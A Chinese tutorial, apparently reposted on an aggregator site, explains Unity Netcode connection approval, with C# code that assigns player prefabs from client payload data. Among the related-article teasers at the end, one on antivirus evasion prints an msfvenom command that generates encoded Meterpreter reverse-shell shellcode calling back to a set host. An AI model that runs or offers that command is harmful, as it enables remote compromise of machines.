Unity之NetCode多人网络游戏联机对战教程(4)--连接申请ConnectionApproval

news2024/11/25 10:42:45

文章目录

    • 前言
    • 适用场景
    • 1. 准备
    • 2.新建GameManager
    • 3.编译运行
    • 4.脚本详解
    • 后话


前言

没看过前面的教程请先阅读前面的教程,本期将会讲到Netcode联机的申请,当一个Client想连接进来,应向Server发送申请联机的信息,然后由服务端向客户端下发数据,所有数据应该在服务端,而不是在客户端。


适用场景

举几个常见的例子需要用到ConnectionApproval的场景

  • 使用密码加入房间
  • 玩家选择不同的角色
  • 房间人数
  • 各种需要服务端下发的信息等等

1. 准备

需要在第二期上添加多的一个Player预制体

每个Player都需要挂载上NetworkObject这个组件

最重要的一点是在NetworkManager上开启ConnectionApproval


2.新建GameManager

新建一个GameManager空物体,添加NetworkObject这个组件

Scripts目录下新建一个GameManager脚本,挂载到GameManager的空物体上

using UnityEngine;
using Unity.Netcode;
using System.Text;

public class GameManager : NetworkBehaviour
{
    public GameObject Man;
    public GameObject Girl;

    public override void OnNetworkSpawn()
    {
        if (IsServer)
        {
            NetworkManager.ConnectionApprovalCallback = ApprovalCheck;
        }
    }

    private void Update()
    {
        if (Input.GetKeyDown(KeyCode.O))
        {
            NetworkManager.Singleton.NetworkConfig.PlayerPrefab = Man;
            NetworkManager.Singleton.StartHost();
        }

        if (Input.GetKeyDown(KeyCode.P))
        {
            NetworkManager.Singleton.NetworkConfig.ConnectionData = Encoding.UTF8.GetBytes("Girl");
            NetworkManager.Singleton.StartClient();
        }
    }

    private void ApprovalCheck(NetworkManager.ConnectionApprovalRequest request, NetworkManager.ConnectionApprovalResponse response)
    {
        // The client identifier to be authenticated
        var clientId = request.ClientNetworkId;

        // Additional connection data defined by user code
        var connectionData = request.Payload;

        var _character = Encoding.UTF8.GetString(connectionData);

        if (_character == "Girl")
        {
            response.PlayerPrefabHash = Girl.GetComponent<NetworkObject>().PrefabIdHash;
        }
        else
        {
            response.PlayerPrefabHash = Man.GetComponent<NetworkObject>().PrefabIdHash;
        }

        // Your approval logic determines the following values
        response.Approved = true;
        response.CreatePlayerObject = true;

        // Position to spawn the player object (if null it uses default of Vector3.zero)
        response.Position = Vector3.zero;

        // Rotation to spawn the player object (if null it uses the default of Quaternion.identity)
        response.Rotation = Quaternion.identity;

        // If response.Approved is false, you can provide a message that explains the reason why via ConnectionApprovalResponse.Reason
        // On the client-side, NetworkManager.DisconnectReason will be populated with this message via DisconnectReasonMessage
        response.Reason = "Some reason for not approving the client";

        // If additional approval steps are needed, set this to true until the additional steps are complete
        // once it transitions from true to false the connection approval response will be processed.
        response.Pending = false;
    }
}

Inspector窗口绑定一下两个角色到脚本中


3.编译运行

分别按下O键与P键,可以看到有两个不同的Player Prefab实例化了。


4.脚本详解

  • GameManager继承的是NetworkBehaviour而非MonoBehaviour

重写OnNetworkSpawn()方法,让NetworkManager放入回调方法ApprovalCheck让服务端处理

public override void OnNetworkSpawn()
    {
        if (IsServer)
        {
            NetworkManager.ConnectionApprovalCallback = ApprovalCheck;
        }
    }

ApprovalCheck这个回调方法传入两个类型的参数,分别是NetworkManager.ConnectionApprovalRequestNetworkManager.ConnectionApprovalResponse

  • NetworkManager.ConnectionApprovalRequest 是客户端的请求,一共两个字段
    ClientNetworkId 是客户端的唯一标识ID
    Payload是客户端发送的信息,封装成byte类型,这也是我们主要使用的
private void ApprovalCheck(NetworkManager.ConnectionApprovalRequest request, NetworkManager.ConnectionApprovalResponse response)
    {
        // The client identifier to be authenticated
        var clientId = request.ClientNetworkId;

        // Additional connection data defined by user code
        var connectionData = request.Payload;

        var _character = Encoding.UTF8.GetString(connectionData);

        if (_character == "Girl")
        {
            response.PlayerPrefabHash = Girl.GetComponent<NetworkObject>().PrefabIdHash;
        }
        else
        {
            response.PlayerPrefabHash = Man.GetComponent<NetworkObject>().PrefabIdHash;
        }

        // Your approval logic determines the following values
        response.Approved = true;
        response.CreatePlayerObject = true;

        // Position to spawn the player object (if null it uses default of Vector3.zero)
        response.Position = Vector3.zero;

        // Rotation to spawn the player object (if null it uses the default of Quaternion.identity)
        response.Rotation = Quaternion.identity;

        // If response.Approved is false, you can provide a message that explains the reason why via ConnectionApprovalResponse.Reason
        // On the client-side, NetworkManager.DisconnectReason will be populated with this message via DisconnectReasonMessage
        response.Reason = "Some reason for not approving the client";

        // If additional approval steps are needed, set this to true until the additional steps are complete
        // once it transitions from true to false the connection approval response will be processed.
        response.Pending = false;
    }
  • NetworkManager.ConnectionApprovalResponse是服务端给客户端的响应,一共有八个字段
    Approved:是否同意客户端加入
    Reason: 如果Approvedfalse,填写拒绝理由
    CreatePlayerObject 是否生成玩家实体
    PlayerPrefabHash 如果null则生成在NetworkManager默认的Player Prefab,这个值要填入NetworkObjectPrefabIdHash
    Position生成玩家实体的position
    Rotation生成玩家实体的rotation
    Pending 挂起approval延迟授权,直到其他客户端完成approval, 官方解释:Provides the ability to mark the approval as pending to delay the authorization until other user-specific code finishes the approval process.

后话

官方相关的阅读文档:

  • https://docs-multiplayer.unity3d.com/netcode/current/basics/connection-approval/
  • https://docs-multiplayer.unity3d.com/netcode/current/basics/object-spawning/
  • GitHub

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1043856.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

EasyExcel的源码流程(导入Excel)

1. 入口 2. EasyExcel类继承了EasyExcelFactory类&#xff0c;EasyExcel自动拥有EasyExcelFactory父类的所有方法&#xff0c;如read()&#xff0c;readSheet()&#xff0c;write()&#xff0c;writerSheet()等等。 3. 进入.read()方法&#xff0c;需要传入三个参数(文件路径…

免杀对抗-C#+go语言-混淆+防反编译+分离

C#&NET-ShellCode-生成/上线 一、生成&#xff1a; 1.msf生成C#语言的shellcode 命令&#xff1a;msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.206.192 LPORT4444 -e x86/shikata_ga_nai -i 15 -f csharp 二、上线&#xff1a; 1.c#语言shellcode加载代…

如何通过PreMaint设备管理提高制药行业的质量控制和合规性

在制药行业&#xff0c;确保产品的质量和合规性是至关重要的。制药企业必须严格遵守各种法规&#xff0c;以满足患者的需求并确保他们的产品安全有效。为了达到这些目标&#xff0c;制药企业越来越倾向于采用现代化的设备管理系统&#xff0c;如PreMaint。本文将探讨如何通过Pr…

ElementUI之动态树及书籍的分页查询

目录 一.前言 二.Element之动态树 2.1 后台 2.2 前台 三. 动态表格--书籍的分页查询 一.前言 本文章是继上篇的案例之上教大家如何使用ElementUI去实现动态树和书籍的分页查询&#xff0c;如果有不懂的大家可以翻看上篇的博客查看&#xff0c;其中的样式是ElementUI的官网提…

任正非:天空足够大,世界会越来越兴盛

近日&#xff0c;华为公司创始人任正非与南开大学新闻与传播学院院长、科技日报原总编辑刘亚东今年7月7日在深圳一间咖啡厅的对话最新曝光。 在对话过程中&#xff0c;任正非以“拉法尔喷管”来描述华为的研发体系: “喇叭口”吸收宇宙能量&#xff0c;经过理论研究&#xff0…

JetBrains常用插件

Codota AI Autocomplete Java and JavaScript&#xff1a;自动补全插件 Background Image plus&#xff1a;背景图片设置 rainbow brackets&#xff1a;彩虹括号&#xff0c;便于识别 CodeGlance2&#xff1a; 类似于 Sublime 中的代码缩略图&#xff08;代码小地图&#xff…

中睿天下荣获2023全国智能驾驶测试赛车联网安全比赛第一名

9月24日&#xff0c;由工业和信息化部、公安部、交通运输部、中国科学技术协会、北京市人民政府共同主办的2023世界智能网联汽车大会展览会在北京闭幕。同期举行的全国智能驾驶测试赛&#xff08;京津冀赛区&#xff09;宣布比赛结果&#xff0c;中睿天下凭借过硬的产品实力&am…

Elasticsearch实现全文搜索的步骤和实现原理

Elasticsearch实现全文搜索的步骤和实现原理 ElasticSearch是什么springboot项目,如何接入 ElasticSearch实现全文搜索?Elasticsearch实现全文搜索的原理是什么?ElasticSearch是什么 ElasticSearch(简称为ES)是一个基于开源的分布式搜索和分析引擎,它提供了强大的全文搜…

excell导入十万数据慢该如何解决

1.遇到的问题 项目中遇到导入6w条数据&#xff0c;之前用的poi&#xff0c;感觉很慢&#xff0c;这时查询了下阿里巴巴提供了开源的easyExcell很好用。 EasyExcel官方文档 - 基于Java的Excel处理工具 | Easy Excel 2.读写速度 64M内存20秒读取75M(46W行25列)的Excel&#x…

Morph:利用AI+无代码,分析整理数据,让数据分析变得更加简单

简介 Morph 是一款一体化的数据工作室&#xff0c;可以让用户实时协作处理数据任务&#xff0c;并提供 AI 辅助来收集、排序和分析数据。它设计用来处理数百万条记录&#xff0c;并且为开发者提供强大的 API 支持。Morph 旨在让每个人都能够通过一个简单的界面轻松地收集、存储…

Vue中动态树形菜单,以及

&#x1f3c5;我是默&#xff0c;一个在CSDN分享笔记的博主。&#x1f4da;&#x1f4da; &#x1f31f;在这里&#xff0c;我要推荐给大家我的专栏《Vue》。&#x1f3af;&#x1f3af; &#x1f680;无论你是编程小白&#xff0c;还是有一定基础的程序员&#xff0c;这个专栏…

根据文章段落内容自动插入图片php版

每篇内容根据段落判断插入图片代码附上&#xff1a; $chatd"<table>";if(stripos($content,$chatd)0){//随机输出三张图功能if($moduleid!37 &&$thumb){//判断是否存在图$idrand(1,999999);$midrand(1,9999999);$getimg"http://www.nongpin88.co…

进程管理--进程创建

标记进程 PID: 进程/线程ID 一个唯一的进程标识符&#xff08;PID&#xff09;来标识进程&#xff0c;PID存放在进程描述符的pid字段中。PID顺序编号&#xff0c;新创建进程的PID通常是上一个进程PID1 TGID&#xff1a;进程ID/线程组ID 一个进程中的所有线程共享相同的tgid…

【漏洞复现】Jeecg-Boot SQL注入漏洞(CVE-2023-34659)

漏洞描述 jeecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发!JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生…

c语言练习66:模拟实现offsetof

模拟实现offsetof #define offsetof(StructType, MemberName) (size_t)&(((StructType *)0)->MemberName) StructType是结构体类型名&#xff0c;MemberName是成员名。具体操作方法是&#xff1a; 1、先将0转换为一个结构体类型的指针&#xff0c;相当于某个结构体的首…

「康达新材」借力CRM掀起业务升级、组织数字化转型新篇章

近日&#xff0c;康达新材料&#xff08;集团&#xff09;股份有限公司&#xff08;下文简称&#xff1a;康达新材&#xff09;与纷享销客举行CRM平台项目启动仪式。 启动会上&#xff0c;康达新材董事长王建祥表达了对信息化、数据化建设的需求&#xff0c;并期待以此次合作为…

雷柏mv20鼠标使用体验

用了1年多&#xff0c;第一次用竖着的鼠标&#xff0c;现在已经很习惯了&#xff0c;感觉还不错。说说使用感受&#xff1a; 1、 仍然是长时间使用鼠标&#xff0c;但是很少出现手腕痛的情况&#xff0c;确实是有一定效果的。 2、使用场景是有限制的&#xff0c;我是配合笔记…

关于 自定义的RabbitMQ的RabbitMessageContainer注解-实现原理

概述 RabbitMessageContainer注解 的主要作用就是 替换掉Configuration配置类中的各种Bean配置&#xff1b; 采用注解的方式可以让我们 固化配置&#xff0c;降低代码编写复杂度、减少配置错误情况的发生&#xff0c;提升编码调试的效率、提高业务的可用性。 为什么说“降低…

[补题记录] Atcoder Beginner Contest 299(E)

URL&#xff1a;https://atcoder.jp/contests/abc299 目录 E Problem/题意 Thought/思路 Code/代码 E Problem/题意 给出 N&#xff08;1 < N < 2000&#xff09;个点和 M 条边的一个无向图&#xff0c;要求用白色和黑色对这个图染色。 满足下面两个条件&#xff…

怎么加密U盘文件?U盘文件加密软件哪个好?

当U盘中储存重要数据时&#xff0c;我们需要保护U盘文件安全&#xff0c;避免数据泄露。那么&#xff0c;怎么加密U盘文件呢&#xff1f;U盘文件加密软件哪个好呢&#xff1f; ​U盘数据怎么避免泄露&#xff1f; 想要避免U盘数据泄露&#xff0c;最佳的方法就是对U盘文件进行…